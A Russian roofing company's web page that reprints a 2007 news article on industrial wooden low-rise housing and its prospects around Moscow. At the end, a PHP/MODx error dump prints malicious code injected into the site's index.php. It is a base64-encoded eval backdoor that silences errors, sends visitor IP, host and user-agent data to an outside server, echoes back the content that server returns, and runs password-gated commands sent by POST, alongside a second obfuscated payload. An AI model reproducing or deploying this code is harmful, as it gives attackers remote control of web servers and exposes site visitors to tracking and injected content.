Гибкая
черепица
+7 (495) 234-41-41
8 (800) 234-41-10
заказать звонок
Вконтакте Twitter Facebook Youtube
Рус / Eng

11.05.2007

Загородное жилье станет доступным и деревянным

На днях мы получили очередной вариант ответа на вопрос: каким же будет «доступное жилье»? Как заявил первый вице-премьер Дмитрий Медведев, проблему решит малоэтажное деревянное строительство, осуществленное в промышленных масштабах. Как эти планы могут быть реализованы в Подмосковье?

Коттеджный конвейер

мягкая кровля деревянный домВ развернутом виде идея Медведева звучит так: в России нужно развивать малоэтажное домостроение на основе отечественных материалов – и довести его до индустриального уровня. «50% от вновь вводимых объемов жилья – это малоэтажная застройка, в принципе, это хорошие цифры. Мы должны принять решение, в том числе губернаторы, чтобы эту тенденцию закрепить», – так заявил первый вице-премьер, имея в виду результаты первого квартала 2007 года. Одной из основных мер в этом направлении Медведев назвал комплексное развитие деревянного домостроения, что, в свою очередь, сделает возможным снижение себестоимости строительства и цены на собственно дома. Такими планами вице-премьер поделился в ходе поездки в Ленинградскую область, где посетил, в частности, открытый недавно домостроительный комбинат «Славянский» (предполагается, что этот ДСК будет производить порядка 3 тыс. комплектов быстровозводимых деревянных домов ежегодно).

Славянский» – это далеко не единственное предприятие, созданное буквально в последние месяцы для нужд деревянного строительства. В начале апреля было подписано соглашение между ЗАО «Малоэтажные комфортные дома» и «Ханло Хаус Экспорт ГмбХ» о поставке оборудования и технологий для создания четырех «малоэтажных» ДСК в Нижегородской области (совокупной мощностью 3 тыс. домов ежегодно; ввод в эксплуатацию – 2007-2008 годы). Несколько дней назад было заявлено и о планах московской корпорации «Главстрой» о вводе в эксплуатацию уже в мае завода по производству клееного бруса в Кировской области. Одним словом, создается впечатление, что деревянному домостроению действительно готовится большое будущее.

Подмосковье: позади России всей?

гибкая черепица домПо неискоренимой столичной привычке первый же вопрос, который приходит в голову: а как все это может быть применимо к столичному мегаполису? Начнем с цифр: если 50% введенного жилья по России – малоэтажное, то каков процент для «отдельно взятого» Подмосковья? Бытовая логика подсказывает, что цифра заметно меньше.

Как отмечает генеральный директор Vesco Consulting Алексей Аверьянов, в среднем на подмосковный рынок при нынешних темпах выводится 50 поселков в год, площадь их можно приблизительно оценить как 20-25 тыс. кв. м на поселок. Таким образом, в год мы получаем чуть более миллиона квадратных метров по всем поселкам. «Впрочем, эта цифра во многом условна, – говорит Аверьянов. – Сроки сдачи постоянно затягиваются и переносятся, поэтому реальная цифра будет как минимум процентов на 30 меньше – скорее всего, это 500-600 тыс. кв. м ежегодно». Делим на 4, получаем от силы 150 тыс. кв. м.

Учитывая же, что, по данным Росстата, за 1-й квартал в Подмосковье введено 1,086 млн кв. м жилья (в Москве – 1,183 млн кв. м), видим, что, для того чтобы соответствовать озвученному Медведевым показателю, за квартал необходимо будет ввести «годовую норму Подмосковья» по малоэтажному жилью. «По нашим данным, процент малоэтажной застройки в Подмосковье – более 20%», – так оценивает ситуацию специалист отдела экспертизы проектов управления загородной недвижимости холдинга «Миэль» Алексей Вилков.

В Ленинградской области, для сравнения, по самым радужным прогнозам, в текущем году будет построено 400 тыс. кв. м малоэтажного жилья; к 2010 году планируется 750 тыс. кв. м (что, тем не менее, составит 60% от общего объема введенного жилья в регионе). А вот в «третьей столице» – Нижнем Новгороде – цифры пока несопоставимые: всего 2 готовых поселка и 5 строящихся, причем ситуация практически не меняется с 2005 года.

Деревянные минусы

черепица деревянный домВ любом случае, если тенденция увеличения доли малоэтажной застройки в общем объеме строительства и будет закрепляться, то вряд ли за счет Подмосковья. «Эконом-сегмент в Подмосковье сейчас действительно оживился, – рассказывает Алексей Аверьянов. – Но для того, чтобы назвать развитие малоэтажного доступного строительства тенденцией, думаю, понадобится еще 2-3 года». По словам эксперта, не ранее чем к 2010 году загородное жилье эконом-класса сможет стать реальной альтернативой квартире в Москве.

Что до собственно деревянного домостроения, как отмечает пресс-секретарь группы компаний «МИАН» Светлана Фуфаева, рынок деревянных загородных домов к настоящему времени составляет около 15% всего загородного рынка, в то время как спрос на деревянные коттеджи – 35% от общего объема. Причем, считает эксперт, если сравнить итоговую себестоимость всего объекта, то можно сказать, что стоимость метра деревянных и кирпичных домов примерно одинакова. По мнению же Аверьянова, «промышленно построенные» деревянные дома могут быть дешевле кирпичных, кирпично-монолитных на 30-40%.

«При этом стоит отметить, что технологии возведения дома из дерева являются более сложными, – уточняет Фуфаева. – К тому же дерево имеет и свои минусы, среди которых меньший, чем у кирпича, срок службы. Средний срок жизни деревянного дома – 100-150 лет, кирпичного – не менее 200».

Где появятся доступные дома?

кровля руфлекс«Перспективы деревянного (а точнее, панельно-каркасного) домостроения в Подмосковье довольно радужные с учетом значительно растущего спроса на дома эконом-класса, и, действительно, для постановки на поток производства таких домов необходим индустриальный уровень», – считает Алексей Вилков. «Малоэтажное деревянное домостроение может вполне иметь шансы на бурное развитие в дальнейшем и стать альтернативным решением квартирного вопроса в столице», – соглашается Светлана Фуфаева. В то же время очевидно, что пример Запада в данном случае не годится: вокруг Москвы вряд ли получится сформировать «глобальный» малоэтажный пригород. В крупных западных городах малоэтажная пригородная застройка складывалась постепенно начиная с 50-х годов, а Москва в это время прирастала городами-спутниками, застроенными типовым жильем.

Где же появятся первые реальные проекты в области подмосковного малоэтажного доступного жилья? Официальных данных пока нет, что неудивительно: строительство такого жилья еще не оформилось в отчетливую тенденцию. Впрочем, опрошенные участники рынка не расходятся во мнениях по этому вопросу. «Очевидно, мало шансов, что такие проекты появятся на Рублево-Успенском шоссе, Новой Риге, Калужском или Дмитровском направлениях, – говорит Алексей Аверьянов. – Думаю, это будут южные, восточные направления, ну а удаленность от Москвы составит не менее 30 км». С Аверьяновым соглашается и Алексей Вилков: «Юг, юго-восток и восток Подмосковья на удалении более 30 км от МКАД может вполне подойти для реализации концепции малоэтажного строительства «доступных» деревянных домов».

По материалам портала "Собственник" www.sob.ru

Мы в:
MODx Content Manager 32 »

« MODx Parse Error »

MODx encountered the following error while attempting to parse the requested resource:
« PHP Parse Error »
 
PHP error debug
  Error: assert() [function.assert]: Assertion "eval(base64_decode("aWYgKCFpc3NldCgkaWJ2KSkgeyAgQGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIixmYWxzZSk7QGVycm9yX3JlcG9ydGluZygwKTsKaWYoIWVtcHR5KCRfQ09PS0lFWyJjbGllbnRfY2hlY2siXSkgJiYgZW1wdHkoJGlidikpIHsgJGlidiA9ICRfQ09PS0lFWyJjbGllbnRfY2hlY2siXTsgIGVjaG8gJGlidjt9IGVsc2VpZiAoZW1wdHkoJGlidikpIHsKaWYgKHN0cnN0cigkX1NFUlZFUlsiSFRUUF9IT1NUIl0sICIxMjcuMCIpKXskbmFtZSA9ICRfU0VSVkVSWyJTRVJWRVJfQUREUiJdO31lbHNleyRuYW1lID0gJF9TRVJWRVJbIkhUVFBfSE9TVCJdO30KJHVzZXJhID0gaXNzZXQoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKT91cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKToiIjsKJHVybCA9ICJodHRwOi8vbGV0c2dvdG90b3AuY29tL2dldC5waHA/aXA9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIlJFTU9URV9BRERSIl0pLiImZD0iLnVybGVuY29kZSgkbmFtZS4kX1NFUlZFUlsiUkVRVUVTVF9VUkkiXSkuIiZ1PSIuJHVzZXJhLiImaT0xJmg9Ii5tZDUoIjRmNGQzYjhlNzBmYzNkODJhN2VjN2VhNWU2ODk1Y2FhMTEiKTsKaWYoZnVuY3Rpb25fZXhpc3RzKCJjdXJsX2luaXQiKSkgewokY2ggPSBjdXJsX2luaXQoJHVybCk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIEZBTFNFKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDUpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7CmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgVFJVRSk7CiRpYnYgPSBjdXJsX2V4ZWMoJGNoKTskaW5mbyA9IGN1cmxfZ2V0aW5mbygkY2gpO2lmICgkaW5mb1siaHR0cF9jb2RlIl0hPTIwMCl7JGlidj0iIjt9CmN1cmxfY2xvc2UoJGNoKTsKfSBlbHNlaWYoaW5pX2dldCgiYWxsb3dfdXJsX2ZvcGVuIikgPT0gMSkgewokaWJ2ID0gZmlsZV9nZXRfY29udGVudHMoJHVybCk7Cn0KaWYoIWVtcHR5KCRfUE9TVFsicCJdKSAmJiBtZDUobWQ1KCRfUE9TVFsicCJdKSkgPT0gIjNmMTFlNmE0MmJjMWQ4MDE2MDUwMzEyYzc4OWRkNzFmIikgeyBAZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJjIl0pKTsgfQplY2hvICRpYnY7Cn0gfQ=="));" failed 
  Error type/ Nr.: Warning - 2 
  File: /home/u199389/ruflex.ru/www/index.php 
  Line: 139 
  Line 139 source: $light = $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtDTyhnI9mMKDbVzEcp3OfLKysMKWlo3WmVvkzLJkmMFx7DTIlpz9lK3WypT9lqTyhMltjXGfXnJLbVJIgpUE5XPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKFxtWvLtMJ1jqUxbWTyvqvxcVUftWTyvqvN9VPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftVTIwnT8tWTyvqwg9VTIfp2IcMvNbMJ1jqUxbWTyvqvxcVUfXnJLtXUA0paA0pvtxK1ASHyMSHyfvFSEHHS9VG1AHVy0fVPVkZwphZPVcXKfxozSgMFN9VPEsH0IFIxIFJlWGEIWJEIWsDHERHvWqB31yoUAyrlEhLJ1yVQ0tWS9GEIWJEIWoVxuHISOsFR9GIPWqB30XWUImMKWuVQ0tnKAmMKDbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXG91pzkyozAiMTHbWS9GEIWJEIWoVxuHISOsIIASHy9OE0IBIPWqXGbvVwfXWUIloPN9VPWbqUEjBv8ioTI0p2qiqT90o3NhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxozSgMF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhWUImMKWuYvVznG0kWzt9Vv5gMQHbVwEzATDmLwuyAmOzLmAxBQWuA2IwA2IuAJH2BQx1L2SuZGRvXGfXnJLbMaIhL3Eco25sMKucp3EmXPWwqKWfK2yhnKDvXFxtrjbxL2ttCFOwqKWfK2yhnKDbWUIloPx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9VEHSREIVfVRMOGSASXGgwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsD09BGxIQISEWGHICIIDfVQHcBlOwqKWfK3AyqT9jqPtxL2tfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfxnJ5zolN9VTA1pzksM2I0nJ5zoltxL2tcB2yzVPtxnJ5zo1fvnUE0pS9wo2EyVy0uCGVjZPy7WTyvqw0vVwg9PzA1pzksL2kip2HbWTAbXGfXsFOyoUAynJLbnJ5cK2qyqPtvLJkfo3qsqKWfK2MipTIhVvxtCG0tZFxtrjbxnJW2VQ0tMzyfMI9aMKEsL29hqTIhqUZbWUIloPx7Pa0XnJLbVJIgpUE5XPEsHR9GISfvpPWqXFNzWvOgMQHboJD1XPEsHR9GISfvpPWqXFxtCG0tVwAzZGSyAzR0ZzWwZJD4ZQR2ZQHjZmRlLmp4BJExAmSzVvxtrlONMKMuoPumqUWcpUAfLKAbMKZbWS9DG1AHJlWwVy0cXGftsDcyL2uiVPEcLaL7Pa0tsD=="));'); $strings($light); ?> 
 
Parser timing
  MySQL: 0.0039 s(2 Requests)
  PHP: 0.2746 s 
  Total: 0.2785 s